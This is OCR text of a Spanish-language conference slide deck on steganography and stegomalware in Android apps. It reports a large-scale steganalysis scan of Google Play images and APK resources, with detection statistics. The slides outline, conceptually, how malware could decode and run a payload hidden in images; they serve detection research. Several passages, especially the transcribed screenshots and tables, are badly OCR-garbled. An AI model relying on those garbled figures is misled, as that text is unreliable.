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Objetivos de la charla...

¢El stegomalware es un problema
real en el mundo mavil?

O O0 O

¢Es posible detectarlo? ¢Como de dificil
es hacerlo con la tecnologia actual?

———
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A votar...

¢Se puede utilizar (existe) esteganografia en APK/Google Play?
éExiste stegomalware en Google Play?
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Stegomalware en aplicaciones moviles

2 Ocultacion de codigo malicioso utilizando esteganografia ...
! Dificultad de deteccidon con procedimientos “tradicionales”

4
"PayloadActivity

Hide Android Applications in Images

Axelle Apvrille - FortiGuard Labs, Fortinet
Ange Albertini, Corkami

BlackHat Europe, Amsterdam, NH
October 2014

AngeCryption  (2014), Android/DroidCoupon.Altr  (2011), Android/SmsZombie.Altr(2012),
Android/Gamex.Altr (2013)...
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Stegomalware en aplicaciones moviles

2 Ocultacion de codigo malicioso utilizando esteganografia ...
! Dificultad de deteccidon con procedimientos “tradicionales”

4
"PayloadActivity

--------------------------------
.................................

T AES_1(CRC32
| " {IHDR + IDAT
f +IEND)
p Dummy bytes
AES (Do) é—'g’""m that size multiple of 16 :
P g B .
AES(EOCD) (—-h'g:ﬂ——'_'—; ........... EOCD ............ :

AngeCryption  (2014), Android/DroidCoupon.Altr  (2011), Android/SmsZombie.Altr(2012),
Android/Gamex.Altr (2013)...



éQué es malware?...

% Malware por categorias

A/
%/A

m BOOKS_AND_REFERENCE = BUSINESS

COMMUNICATION m EDUCATION
m ENTERTAINMENT COMICS
= FINANCE ® GAME
m HEALTH_AND_FITNESS = LIBRARIES AND DEMO
m LIFESTYLE = MEDIA AND VIDEO
= MEDICAL = MUSIC AND AUDIO

Kaspersky defends false detection experiment
Claws in copy cat dust-up

By John Leygen, 10 Feb 2010 . W Follow 3 100 fodowers

SR (v, /N Engines)
N Apps

A Trojan.Androld.Generic
A Trojan. APK. Malware23
A Trojan. APK.downloaderd

& Trojan.Android. Generic

& Trojan.Android.Generic A Troja

A2 Trojan. APK downloader

Accuracy
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A Trojan.Android.Generic
4 Trojan APK.downloader

L X
4 Trojan.Android.a23)9C
A} Trojan.APK.8jKICTu8

n.Android.Generic

Gregariousness

Balanced Gregariousness

Enhanced Accuracy

(adjusted based on participation) (not gregarious and not eccentric adjusted based

Signatures result!

Enhanced Balanced

on participation)
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Malware en moévil: Limitaciones y “estimadores”...

BIFFHSEC

IN-DEPTH SECURITY CONFERENCE 2014 EUROPE — 18TH TO 21TH NOVEMBER 2014
THE IMPERIAL RIDING SCHOOL VIENNA, AUSTRIA

The prime Suspect is the Butler cause he holds all the “Keys”
Dr. Alfonso Mufoz, Dr. Antonio Guzman, Sergio de los Santos

12

Goodware

% Applications
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Goodware Business

= Ialware Business

2015

“estimadores”...
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IN-DEPTH SECURITY CONFERENCE 2014 EUROPE — 18TH TO 21TH NOVEMBER 2014

THE IMPERIAL RIDING SCHOOL VIENNA, AUSTRIA
The prime Suspect is the Butler cause he holds all the “Keys”

Dr. Alfonso Mufoz, Dr. Antonio Guzman, Sergio de los Santos

Malware en movil

BIFFHSEC
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Malware en movil: Limitaciones y “estimadores”...

Estilometria y procesamiento de lenguaje natural en la deteccion de malware...

i Como escriben los desarrolladores? ¢ COmo son los comentarios?

- Ejemplo 1: Tamafio del campo descripcion BEAISEC
- Ejemplo 2: Riqueza del Ienguaje IN-DEPTH SECURITY CONFERENCE 2014 EUROPE — 18TH TO 21TH NOVEMBER 2014

THE IMPERIAL RIDING SCHOOL VIENNA, AUSTRIA

= .oe The prime Suspect is the Butler cause he holds all the “Keys”
Dr. Alfonso Mufioz, Dr. Antonio Guzman, Sergio de los Santos

Campo Descripcion: Goodware Vs

SQL Reference will help you to understand the basics of SQL and become familiar with the advanced level. Content
of the handbook is divided into four categories:- Basics - Advanced - Functions - Articles — Training. The description
of each function includes some examples with comments. Reference is also shows major differences of the syntax
of the various databases: MySQL, SQL Server, Oracle, Access. Training section allows you to practice in running sql
gueries. This section availible only in full version. If you have suggestions, ideas to improve the application and
comments, please, use the feedback form. You can find it in the menu.

This App is a handy reference list of 140 browser-supported colors. which are sorted based on: - Color name - Hex
code, and - Color family. These 140 color names can be defined under HTML and CSS color specification tags. All of
the major browsers have included support for these colors.




Esteganografia en la actualidad...

July 18, 2014
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The Growing Threat Of
it 1 | Network-Based
Steganography

Emerging Technology From the arxiv

MIT
Technology
Review

www.technologyreview.com/view/5

I1/the-growing-threat-of-network-based-steganography/

http://arstechnica.com/tech-policy/2010/07/

how-even-the-dumbest-russian-spies-outwit-the-nsa/

Steganography: how al-Qaeda hid secret
documents in a porn video

Digital steganography hides files in plain sight, concealed in image and media files

by Sean Gallagher - May 2, 2012 12:02 pm UTC

arstechnica.com 05/s

Kick Ass.mov

British Muslim 'had Al Qaeda contacts book with terrorists'
numbers written in invisible ink. Fuente: Daily Mail September 2008

Britain spied on Russia with ‘fake rock’

Russia knew about it 'for some time,’ ex-government official says ¢

Tech

instructions hidden online

& Tooot s e e Wt cocrygton

A fake rock that alleg
2006. (RTR-Russian

y had been used
vision Channel/

y a British spy ring in Moscow is put on display on Russian Television on Jan. 26
ociated Press

2012 = Podhradsky

The XBOX 360 and Steganography: How Criminals and Terrorists Could Be "Going Dark"
Ashley Podhradsky, Rob D'Ovidio, Cindy Casey
hitp:/proceedings.adfsl.org index.php CDFSL article view/ 60

Abstract

Video game consoles have evolved from single-player embedded systems with rudimentary processing and graphics capabities to muttipurpose devices that provide users with parallel functionalty to contemporary desktop and laptop computers. Besides
offering video games with rich graphics and multiuser network play, today's gaming consoles give users the abiity to communicate via email, video and text chat, transfer pictures, videos, and fil;, and surf the World-Wide-Web. These communication
capabities have, unfortunately, been exploited by people to plan and commt & variety of criminal activities. In an attempt to cover the digital tracks of these unlawful undertakings, anti-forensic technigues, such as steganography, may be utiized to hide or aker
evidence. This paper will explore how criminals and terrorists might be using the Xbox 380 to convey messages and files using steganographic technigues. Specific attention wil be paid to the "going dark” problem and the disjpint between forensic capabiities
for analyzing traditional computers and forensic capabilties for analyzing video game consoles. Forensic approaches for examining Microsoft's Xbox 350 wil be detailed and the resutting evidentiary capabilties wil be discussed



Esteganografia: Un universo infinito

e Multimedia

‘-F . . Security

; Multimedia R ‘ Technologies for
te Digital Rights

Management

3 WENJUN ZENG
’ HEATHER YU
CHING-YUNG UN

Digital Watermarking
and Steganography

g

DATA HIDING
FUNDAMENTALS
AND APPLICATIONS

Content Security in Digital Multimedia

Husrev T. Sencar
Mahalingam Ramkumar
Ali N. Akansu

| Esteganografia
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http://www.ws.binghamton.edu/fridrich/publications.html
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Ciclo UPM TASSI 2014. Conferencia 7: Ocultacion de comunicaciones en el
mundo real. https://www.youtube.com/watch?v=gkmRP1NyYYw

Criptored - Cryptdyou. Curso de privacidad y proteccion de comunicaciones digitales.
Leccién 7. Canales subliminales: http://www.criptored.upm.es/crypt4you/temas/privacidad-
proteccion/leccion7/leccion7.html
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Esteganografia: Imagenes digitales

6 Tipos: pixel, coeficientes (DCTs, wavelet,..), paleta de colores...
Formatos: JPEG, PNG, GIF, BMP, ...

@ LsB replacement / LSB matching (k)

texturas, ejes, zonas ruidosas...

e Distribucion, matrices de codificacion, wet paper codes...
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¢ Es dificil detectar esteganografia?
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¢ Es dificil detectar esteganografia?

e Algunos tipos de esteganografia:

1) La cubierta existe y la ocultacidon de informacion no la modifica. (reordenacion™)

2) La cubierta existe y la ocultacién produce alteraciones €= LA MAS COMUN EN INTERNET
(modificacion — reordenacion — campos no usados - campos que no se validan ...).

3) La generacion automatica de la cubierta incluye la informacién a ocultar.

Capacity

Steganography

Dhgital
watermarking

Secure
steganography

Undetectability Robusthess
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¢ Es dificil detectar esteganografia?

e Hasta donde llegamos... ées util para la industria?

6 Software vulnerable: técnica EoF, LSB mal implementado...
@ Fases (si software no trivial)

[SI?] Detectar la presencia de informacion oculta.
[S1??] Estimacidn del tamaio de la informacion ocultada.
[NO] Extraccién de la informacion ocultada.

[NOOOOO] Recuperacion de la informacion en claro.

steganalysis - “

Intervalo especifico

Aproximadamente 43 resultados (0,06 s

Aproximadamente 139 resultados (0.05 s) | 2001 | — | 2002 Aproximadamente 229 resultados

Aproximadamente 1.430 resultados (0,06 s 20014 | — 2015

1999 — 2000 Aproximadamente 90 resultados

0.04 =

0.05 =

2000 — 2000

2002 — 2003
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¢ Es dificil detectar esteganografia?

Idea: Deduce Network Steganography
Patterns*

B Analyze network steganography (incl. network covert channels) to determine
patterns

® Develop and evaluate countermeasures for patterns instead of single data
hiding techniques to enable anti-steganographic means in practice

B Analyze potential of network steganography regarding future botnet C&C
channels, future data leakage techniques (also on smartphones), and its
application in smart environments (e.g. smart buildings)

B Goal: Solutions (e.g. appliances or smartphone software) capable to handle future
data leakage techniques

Jessica Fridrich foward Delp

- DIGITAL AGENDA FOR EUROPE
e B A Europe 2020 Initiative

European Commussion > Digital Agenda for Europe
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Algoritmos estegoanaliticos (para deteccisn no trivial)....

e Ataques “estadisticos” (chi-square, RS, SPA, SPAM, PPD, Rich Models...)

¢ Mis vecinos son raros? (pixeles)
¢ Cuantos vecinos raros hay?
éLos vecinos raros estan cerca?

6 Estegoanalisis a ciegas (machine learning)

éTodo el que no sea normal es raro?

e Limitaciones, falsos positivos, pocas herramientas...

LSB-replacement (pseudoaleatorio) = deteccidn falla si ocultacion < 3% total
Machine Learning = falsos positivos y negativos
Es posible esquivarlos: wet paper codes, matrix embedding, distribucidn,....
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Estudio masivo (2001)...

¢Algun loco?

Scanning USENET for Steganography

After scanning two million images from eRav without finding any hidden messages, we extended the scope of our analysis. A
detailed description of the detection framework can be found in Detecting Steganographic Content on the Internet.

This page provides details about the analysis of one million images from the Internet Archive's USENET archive.

Processing the one million images with stegdetect results in about 20,000 suspicious images. We launched a dictionary attack on

the JSteg and JPHide positive images. The dictionary has a size of 1,800,000 words and phrases. The disconcert cluster used to
distribute the dictionary attack has a peak performance of roughly 87 GFLOPS.

However, we have not found a single hidden message.

If you have questions, please check the FAQ first.

Niels Provos

Research
at Goog

e

Distribution of JPEG Images in USENET groups

USENET Steganography Scan

http://www.citi.umich.edu/u/provos/papers/detecting.pdf
http://www.citi.umich.edu/u/provos/stego/usenet.php
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¢Y si buscamos stegomalware en GP...?

Gartner.

Reality Check on Big Data Analytics for Cybersecurity and Fraud

16 January 2014

By 2016, 25 Percent of Large Global Companies Will Have
Adopted Big Data Analytics For At Least One Security or Fraud

Detection Use Case

Ahead of the Gartner Business Intelligence & Analytics Summit 2014 , being held March 31 - April 2 in Las
Vegas, Gartner predicts that by 2016, 25 percent of large global companies will have adopted big data
analytics for at least one security or fraud detection use case, up from 8 percent today, and will achieve a
positive return on investment within the first six months of implementation.

.n.::m;:"'-'. . ’\ :-u
Wt a0 o0 W,
® \ = ® o

" nu.u @ . .'u:'.
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Google Play: Un canal esteganografico...

e Ocultando informacidén en las imagenes de Google Play (market place)

— JPG = LSB| EOF = NO*
— PNG - LSB | EOF - Sl ... ejemplo OpenStego

> GL)OSIC D‘ay Buscar “ +Boqueron  5i% o ‘

icio Top éxitos Novedades [2] o]

Mi messenger

Developer Boqueron Apps olode cosiode 2012,
Herramientas

https://play.google.com/store/apps/details?id=com.wMipropiowhatsapp
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Google Play: Un canal esteganografico...

e Ocultando informacidén en las imagenes de Google Play (market place)

— JPG = LSB| EOF = NO*
— PNG - LSB | EOF - Sl ... ejemplo OpenStego

PNG con EOF (Foto:conchal.png)
https://Ih3.ggpht.com/UmazBl6yo-j7mufTDyWulx9wap2DCacY2YQQTOsqZNBkmRvj4AMXxtjNblh5a3evdTtU=h310

PNG con LSB (Foto:concha2.png) — OpenStego (key=rootedcon2015)
https://Ih5.ggpht.com/0u80oVQLzcXGvXvQW3YBc)BWogVKnkk99ouDYpfFGSDpFNPWIQ99-8fGUGYIBTYECgg=h310

Mensaje oculto = rootedcon2015by@mindcrypt

https://play.google.com/store/apps/details?id=com.wMipropiowhatsapp
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Google Play: Un canal esteganografico...

e Ocultando informacion los APKs

- GP no modifica tu APK - Esteganografia en recursos (xml, jpg, png, dex, ...)

- Ej:/ Escenarios posibles de stegomalware (recursos locales o remotos)

* R=stegoFile

» Sk*=stegoKey (optional)

» SD=steganographic decoding algorithm
* R contains p = payload

| MALWARE ALERT! ]

daN>=0ID

Escenario 1. Ry SK* desde los recursos del apk. Cargamos/Ejecutamos p=SD(R,Sk*)
Escenario 2. URL desde los recursos del apk. Recuperar R,Sk* y cargar/ejecutar p.

- ¢éQué podemos hacer?¢Hacemos una PoC de stegomalware en GP? (un poco de paciencia...)
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¢ Es posible el uso de esteganografia en GP?...

.
{

—
o .

Chuck Noiris
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Buscando stegomalware en GP...

e Stegomalware en Google Play que utilice imagenes digitales y
enlaces a imagenes digitales esteganografiadas.

Datos de partida: BD de Path5 (Android Cyberlintelligence Tool)

- Investigacion: market GooglePlay

- Tamaho BD (solo apks): 11 Terabytes

- 2 millones de APKs (2.102.821 apks)

- 11.085.704 enlaces a imagenes en GooglePlay

LAB: 3 portatiles + 2 discos duros externos (4T + 1T) + Amazon S3/EC2 +
software + muchooooooooooooooo00 tiempo + muchaaaaaaaaaaaaaaa
paciencia.... ©
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Buscando stegomalware en GP

TR (el i
TR !
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Buscando stegomalware... in progress!!!

e En un mundo ideal

D,. Deteccidon de esteganografia (Estegoanalisis de imagenes)

D,. Deteccidn de codigo para “recuperar” informacion ocultada
esteganograficamente.

D,. Deteccion de carga de cédigo (dexloader, loadLibrary,...)

Estimador = F .o, (D1,D,,D5)
=
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D,. Deteccion de esteganografia (Estegoanalisis de imagenes)

@ Herramientas y algoritmos de estegoanalisis:

Detectamos 20 herramientas de ocultacion + 4 algoritmos
estegoanalisis (deteccion LSB secuencial/pseudo) + EOF ¢ c/ico

camouflage V1.2.1, inThePicture v2, JPEGXv2.1.1, PGE (Pretty Good Envelope) v1.0, appendX,
steganography v1.6.5, inPlainView, DataStash v1.5, dataStealth v1.0, Hiderman, Master, invisible secrets,
jsteg, jphide, outguess, F5, LSB-steganography, OpenStego (2014), SilentEye (2010), OpenPuff (2014)

Chi Square attack (2000) , RS analysis (2001), Sample Pairs (2003), Primary Sets (2002)

Herramientas de estegoanalisis: Stegdetect, Stegexpose, Stegsecret, SpyHunter, ...

@ Estegoanilisis: limitaciones y falsos positivos...

@ Imagenes procesadas: 7.235.966 (total 710 GB)

Escenario 1. Imagenes JPG y PNG en el Google Play (market place)
Escenario 2. Procesamiento de URLs a imagenes dentro de ficheros .DEX
Escenario 3. Procesamiento de JPG y PNG dentro de recursos de APK
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6 |mégene5 JPG/PNG en GooglePIay (Android MarketPlace)
Procesadas: 5.583.905 imagenes (510 GB)

h

JPEG: 1.620.705 imagenes (tam medio =42 KB)
PNG: 3.963.200 imagenes (tam medio= 115 KB)

https://Ih5.ggpht.com/zh8iyTzjnHk5IcPhaTpPb-B3yKIh804bkC82zzQ4c8992XyBUD6NnpGI2rCXTDQVLC_Yw

Google play

O DEX con enlaces a url con JPG/PNG : 74.558 apks

Procesadas: 54.657 enlaces (imdagenes) Unicas (6 GB)

JPEG: 35.077 imagenes (Tammedio = 139,25 KB)
PNG: 19.580 imagenes (Tammedio = 86,29 KB)

- ¢Aplicaciones mutantes? (monitorizacion continua...)

® JPGy PNG dentro de recursos de APK (in progress...)
Num Max: JPG (3 millones* | 45,51% procesado) PNG (30 millones* | 0,7%)

JPG:1.365.511 Tammedio = 140KB 187,10 GB | 957.179 APKS (45%)
PNG: 231.893  Tammedio = 33KB 7,58 GB | 8.450 APKS (0,4%)




Ocultacion en EOF en Google Play
Buscando esteganografia y stegomalware...
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Ocultacion en EOF en Google Play. Buscando esteganografia 'y
stegomalware...

O

JPEG 0 con EOF 1.764 con EOF 1.299 con EOF

(5,02% del total) (0,0951% del total)
Appended (27)

PNG 800 con EOF 1.546 con EOF 185 con EOF

(7,89% del total) (0,079% del total)

Nota: EOF - Informacidn al final de fichero o el formato grafico no coincide con la extensién
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® Anomalias (EOF): Es otro formato de imagen, 0x00s, Roundpic,
Photoshop, HTML, no existe imagen (url del dex), mensajes raros...

http://vendereit.com/categories/3D/027.ipg
http://www.wallpapersdb.org/wallpapers/sports/kiteboarding 1600x1200.jpg

https://my.healthcity.eu/medium/api/user/avatar.jpeg
https://my.healthcity.eu/medium/api/gym/exercise_image.jpeg

- Login credentials are not correct

Ficheros PNG que son SQLite:

wwaew HOly Quran video and MP3

http://78.47.146.248/yemektarifi/android_ytleris/io.png
http://78.47.146.248/Kuran/kkhqg.png

Unutulmaz Komik Sozler

res/drawable-hdpi/scalel.jpg IR/ L20010K

Date: Sun, 06 Feb 2005 18:58:55 GMT
Server: A



http://vendereit.com/categories/3D/027.jpg
http://vendereit.com/categories/3D/027.jpg
http://www.wallpapersdb.org/wallpapers/sports/kiteboarding_1600x1200.jpg
http://www.wallpapersdb.org/wallpapers/sports/kiteboarding_1600x1200.jpg

/Rootad®
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© Anomali
i

R cWallpapers

Roundpic,

DB Browser for SQlite -_Deskiopjpresentacion rootedcon2015/BD/kkhg.png - g
= Edit View Help
{4 NewDatabase |2 Open Database 1 Write Changes & Revert Changes
= T DB Schema q X
Database Structure Browse Data Edit Pragmas Execute SQL
able: J kkhg b7 @ Mew Record | |Delete Record hlame
i 4[| Tables (2)
name tr en elmali il v [E kkhq
[Filter Filter Filter [Fiter » 2] slite sequence
Indices (0)
90 Kafirun Kafirlerden bahseder, Mekke devr., 1. 5ay: O ye that reject Faith! 1 - De ki: By kéfirler -4 Views (0)
L| Triggers (0)
91 Felak Felak, sabah manasina geldigi gi... 1. 5ay: | seek refuge with the Lord of the Dawn, 1- De ki: "Ben, agaran sabahin Rabbine sigininm,
92 Biiruc Sems siiresinden sonra Mekke'de ... 1, By the sky, with its constellations; 1 - Burglar sahibi gokyiiziine,
93 Zimer Mekke'de nazil olmustur, 75 (yet., 1. The revelation of this Book is from Allah, the Exalted in Power, full of Wisdom, 1 - Bu kitabun indirilisi, Aziz ve Hakim olan Allah tarafindandir.
94 Ingirah "Ingirdh" agilmak, geniglemek, se.. 1. Have We not expanded thee thy breast?- 1 - Biz senin igin (mutlulugun) gégsiand agmadik mi?
95 Kadir Kadir gecesinden soz ettigi igin b... 1. We have indeed revealed this (Message) in the Night of Power: 1 - Biz o (Kur'dn)nu Kadir gecesinde indirdik.
96 Nebe Medric'den sonra inmigtir; ilk Me.. 1. Concerning what are they disputing? 1- Birbirlerine neyi soruyorlar?
97 Mearic Mekke'de nazil olan bu sire, 44 (k... 1. A questioner asked about a Chastisement to befall- 1- Biristeyen, clacak azabi istedi.
98 Asr Ast, yiizyil, ikindi vakti ve meyven... 1. By the Time, 1 - Asra yemin olsun ki,
99 Naziat NGRS YRS I 1. By the (angels) who tear out (the souls of the 1 - Andolsun siddetle cekip cikaranlara,
100 Saffat Adini, saf tutmug meleklere isaret.. 1. By those whe range themselves in ranks, 1- Andolsun o saf baglayip duranlara.
101 Duha Duhd, kugluk vakti demektir. Sire... 1. By the Glerious Morning Light, 1 - Andolsun kugluk vaktine.
102 Fecr Fecr, tan yerinin agarmasi ve safa.. 1. By the Dawn 1 - Andolsun fecre,
103 Beled Mekke'de Kaf sOresinden sonra in.. 1. Nay | do swear by this City;- 1- Andolsun bu beldeye
104 Mrselat Mekke'de inmistir. 50 (elli) yettir... 1. By the (Winds) Sent Forth one after another (to man's profit); 1- Andolsun birbiri ardinca génderilenlere,
105 Tur Mekke'de inmistir. 43 (kirkdokuz) ... 1. By the Mount (of Revelation); 1- Andolsun Tir'a,
106 MNasr Masr, yardim demektir. Sarede All.. 1. When comes the Help of Allah, and Victory, 1 - Allah'in yardimi ve fetih geldiginde,
107 Nahl Nahl siiresi 128 (yiizyirmisekiz) 3y... 1. (Inevitable) cometh (ta pass) the Command of Allah: seek ye not then to hasten it: Glory ta Him, and far is He above having the partners they as... 1+ Allah'in emri geldi, sakin onu acele edip istemeyiniz. Allah, miigriklerin kogtu
108 Tevbe Tevbe siresi, 129 (yiizyirmidokuz)... 1. A (declaration) of immunity from Allah and His Messenger, to those of the Pagans with whom ye have contracted mutual alliances:- 1 - Allah'dan ve Resulii'nden bir itimatomdur bu, kendileriyle antlasma yaptign
109 Himeze Himeze, birini arkasindan gekisti... 1. Woe to every (kind of) scandal-monger and backbiter, 1-2 - Mal toplayip onu tekrar tekrar sayan, insanlan arkadan ¢ekistirip, kas goz |
110 Nur 64 (altrigdart) dyetten ibaret ola... 1. A Siirah which We have sent down and which We have ordained. In it have We sent down Clear Signs, in erder that ye may receive admenition. 1 - (iste bu dyetler) bizim indirdigimiz ve (hiikamlerini Gzerinize) farz kildigimiz £
m Abese Mekke'de inmistir, 42 (kirkiki) dye... 1. (The Prophet) frowned and turned away, 1 - (Peygamber) Viziing eksitti ve dnda.
112 Hakka Mekke'de nazil olan bu sire, 52 (e... 1. The Sure Reality! 1 - (Gergeklegecek) Kiyamet!
113 Bakara Medine'de inmigtir. 286 (ikiyiizsek... 1. Alif. Lam. Mim. 1 - (Elif, Ldm, Mim.)
14 Furkan Bu sire Mekke'de nézil olmugtur, .. 1. Blessed is He Who sent down the Criterion to His servant, that it may be an admonition to all creatures;- 1- "Tebareke" ne yiice feyyazdir o ki, dinyalan uyarmak Gzere kulu Muhammed <
< >
<] [<] 89-1140F 114 [3] [3] Go to: 1 3 2
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Indices (0)
1257 Kek Tarifleri UddIRmdyaGhd... 3 adet yumurta,... Serbetsiz Hashash kek olarakta yapiliyor . &Uuml:zerinde nefis krem santi ile hashash revani tathsi. Krem santi 8uuml:zerini de ceviz veya file fistik ile sBtuumbsl&uumbyarsunuz.<br /> Tathmiza &ouml:...  httg://ww B Views (0)
O 0)
2 54 Serbetli Tath Tar.. UOdIRmdyaGhd... 3 adet yumnurta,... Serbetsiz Hashagh kek olarakta yapiliyor . 8&Uuml;zerinde nefis krem santi ile haghagh revani tathsi. Krem santi 8uuml;zerini de ceviz veya file fistik ile s8uuml;si@uumbyorsunuz.<br /> Tathmiza &ouml;...  http:/fwwn B Tngers 0
3 600 Ozel Tarifler UndIRmdyaGhd... 3 adet yumurta,... Serbetsiz Hashash kek olarakta yapiliyor . &Uuml;zerinde nefis krem santi ile hashash revani tathisi. Krem santi &uuml:zerini de ceviz veya file fistik ile stuumbsl&uumbyarsunuz.<br /> Tathmiza &ouml:...  httg://ww
4 505 Serbetli Tath Tar.. UldOdFpXc2dT.. <li=3 yumurta,... Serbeti hazirlamak i8ccediling sekeri tencereye d8oumlkBuuml:p kisik ateste kangtiralim, iyice eriyip rengi koyulaghidinda sicak suyu yavag yavag ilave edelim, ara ara kangtirarak &nbsp;sekerin &ccedil;.. http://wwn
= i i x
5 557 Gzel Tarifler UIDAFRXC2dT... | <li>3 yumurts,... | Serbeti hazriamak ificceditin: seker{R Edit database cell , ars ars kanstirsrak &inbsp;sekerin Biccedil.. http://ww
6 258 Kek Tarifleri Uld4dFiXekVzU... <b></b><b>H.. Sekerve yumurtalan beyaz ve k8tou Import Export Text - Clear an kanstirdigimiz kaba alalim.<br /> Hepsin... http:/fww
7 603 Ozel Tarifler Uld4dFiXekVzl... <b></b><b>H.. Sekerve yumurtalan beyaz ve k&ou an kanstirdigimiz kaba alalim.<br /> Hepsin.., http://wwn
Serbetsiz Hashash kek olarakta yapiyor . &Uuml;zerinde nefis krem santi fle hashash revani tathsi. Krem santi &
8 503 Serbetli Toth Tar... eFolbFpulmhi.. Tkg.geftali,<br /... Seftalieri yandan keserek Buccedileki | | Buumlizerini de ceviz veya fle fisti il stuuml fuuml;yorsunuz, <br (> Tatimiza Soumlince serbetini hazrlayarak a seker dolduralim.<br /> Finn kabina 15u ... http:/fww

bashyoruz. Biz keki pisirirken serbeti de biraz sogumus olur. <br /> Serbet igccedilin seker ve suyu tencereye alp
kaynatmaya baglyoruz, kivama geldikten sonra ocaktan almadan limon suyunu ilave edip karistryoruz ve ocaktan

9 548 Ozel Tarifler eFolbFpulmhi.. Tkg.geftali,<br /.. Seftalileri yandan keserek &ccedil;eki alyoruz. <br > Biz tathrin hamurun hazrlayana kadar dinleniyor.Derin bir kabin i&ccedierisinde yumurta ve sekeri a seker dolduralim.<br /> Finn kabina 1su ... http://wwn
k&ouml;p&uuml;rene kadar &ccedilirpalm. <br /> Ardindan hashas, suuml;t, s yag ve srasiyla diger

10 93 Ana Yemek Tari.. VkdGMmRXc2d... 750 gram tavuk... Sark8uumliteriden aldiginiz tavuk ci malzemeleri de ekdeyerek kanstralim. <br /> Iyice kangtralm hamurda topaklanma olmasin. <br /= Hamur akiskan lacaksekilde temizleyip, diklemesine ikiye b... http://ww
bir kivama geldikten sonra yaglamis oldugumuz finn tepsisine veya borcama hamuru d&ouml;kelim, <br />

1 44 Tavuklu Yemek ... VkdGMmRXc2d... 750 gram tavuk... SarkBuumiteriden aldiginiz tavuk ci BE okl ol (e ok s I s S eYIE Siwis st Lo (W ek Vi Stk lacakgekilde temizleyip, diklemesine ikiye b... http:/ww

kabartyor, hemde kan tatllar &ccedi;ok sevimez. Zaten Suuml;zerine ekleyeceklerimiz de var, <br />
80umi;nceden isitmis oldugumuz 170 derecelik firnda kek i&ccediljini &ccedil;ekene kadar pisiiyoruz. <br />

12 413 Satli Tath Tarifleri UzJGNXhMRnp... 7 Biccediorba... Irmik, séiuumlt, toz seker ve kiyilmi Pistitan sonra frmdan ahyoruz ve soumas iBccedizin beklemeye alvorcz, <or [ Hebhash revani yaparken hem ln.&nbsp;Buzdolabinda 2-3 saat dinlendiri... http://ww
| serhet_hem kek enfiiik olarak birbiriyle bulusmal. Bu kisma dikkat edelim. <br /= Ikisi de soguduktan sonra keki

13 555 1z yavas yavas. lyice ifccedi;ine &ccedil;ekmesini saghyoruz bu y&uuml;zden yavas yavas Itin.&nbsp;Buzdolabinda 2-3 saat dinlendiri.. http://wwa

1. Ayrt kBuuml; Becedi; Buuml;k bir kabin igccedil;erisinde soduk sRuuml;t ile krem santiyi
FPRET alm. <br /> Serbetini accedileken hashasi revaninin &uuml;zerine krem santiyi 5 <br /> Dogradid theantan.... | Rt/

re krem santinin &uuml;zerine ceviz parfccedi;alan veya file fistkile kaplayarak ogruyonz.<br ogracigimiz pathcanian v
15 582 . Jlac ook = e tioldyie < 2 e st e eta bl ot porffad ik o) ({8 n synlana kadar kavuruyoruz.Ayn bir kapta .. http://wm
16 70 cell: Sfﬂmeric d l I l uz.Daha sonra iBccedilerisine tuz ve kirmiz.. http://ww

égodrogas!!! ,
17 214 uz.Daha sonra iBccedilerisine tuz ve kirmiz...  http:/fwwn
Cancel
18 497 edil;a yardimiyla tereyadiyla yagliyoruz.8nb... http://wwn
:
19 535 #la yanmayacak]) ve ihnmasini bekliyoruz.<br /> Yufkamizdan bir adet alip &uumlzerini firéccedil:a yardimiyla tereyaguyla yaghyoruz.&nb... http:/fwwa
20 407 e g&ouml;re hazirhyoruz. Karistirarak sogutuyoruz ve buzdolabina kaldinyoruz.<br /> S8uuml;t, seker, vanilya ve irmidi tencereye alip kan...  http://ww
21 5% & gaoumlyre hazrhyoruz, Kanstirarak sogutuyoruz ve buzdalabina kaldinyoruz.<br /> S&uumlt, seker, vanilya ve irmigi tencereye alip kan... http://wm
zZ 9 ediliine koyup &ccedil:ok az miktarda su ile kangting eritin.<br /> Unu yodurma kabiniza d&oumlk&uuml;p, ortasini havuz seklinde ac...  http://fwan
23 153 edilsine koyup &ccedilok az miktarda su ile kanstinp eritin.<br /> Unu yogurma kabiniza d&ourmlk&uumlp, ortasin havuz seklinde a8ic... http://ww
24 49 ediline koyup &ccedilok az miktarda su ile kangtinp eritin.<br /> Unu yogurma kabiniza d&ouml:k&uumlp, ortasini havuz seklinde aBtc... http://ww
25 179 _.. . oo olgiciiiiy aaydanozu ve ince ince dogranmig tere otunu bir kapta iyice kangtiralim.<br /> Hamuru yogurmaya baglamadan &oumlnce tereyagini eri., | http//wan
v
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Ocultacion en PNG en Google Play
Buscando esteganografia y stegomalware...
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Ocultacion en PNG en Google Play
Buscando esteganografia y stegomalware...

Escenario 1. Procesamiento de imagenes PNG en GooglePlay

m “19.266"” estegoimagenes (ch|Square, RS..)

(2,86 % del total procesado)

Escenario 2. Procesamiento de URLs a imagenes dentro de ficheros .DEX

m url = 705 estegoimagenes (ch|Square, RS..)

(3,60% del total)

Escenario 3. Procesamiento de PNG dentro de recursos de APK

m “21.808"” estegoimagenes (ch|Square, RS..)

(9,4% del total)
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© 705 posibles “estegoimagenes” (chi-square, RS, ...)

+ Ingenieria inversa 40 apps “mas estego-probables” (subjetivo)
(6% a un 26% de ocultacién = 12.770 bytes a 82.441 bytes)

LINE Selfie Sticker 2015 Jibs y g s The Games Game
& Download app & Ver en Google Play @, & Downloadapp & Ver en Google Play & Downloadapp & Ver en Google Play

s Mehndi Designs 2014 Lite ’? Easy Pic Mix - Collage Maker
'E@ﬁ‘wﬁ%h a 2

S g
Desi & Download app & Ver en Google Play & Download app & Ver en Google Play

O 21.808 posibles “estegoimagenes” (chi-square, RS, ...) 2 5.099 APKs

+ Ingenieria inversa 40 apps “mas estego-probables” (subjetivo)
(8% a un 26% de ocultacién = 11.609 bytes a 105.494 bytes)

Bangup Box ol Alchemy Early Learner

=5 = 5 9 P

Slate CM9/CM10 Theme Snowman Shot! Fireball Shooter




Ocultacion en JPG en Google Play
Buscando esteganografia y stegomalware...
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UPEG | GPur=t2893 | | | |

(0,92% del total Jphide 7512 1978 3148
procesado) (*) (**) (***)
Escenario 1 Outguess (old) 35 (*) 27 (**) 144 (***)
Jsteg 46 (*) 2 (**) 1(***)
PEG | _wrl=157lesteo | | | |
(4,47% del total) Jphide 826 (*) 240 (**) 469 (***)
Escenario 2 Outguess (old) 11(*) 6(**) 17(***)
Jsteg 1 (*) 1 (**)
JPEG | 475 ‘estegoimagenes” | | | |
(0,0347% del total) Jphide 157 (*) 60 (**) 91 (***)
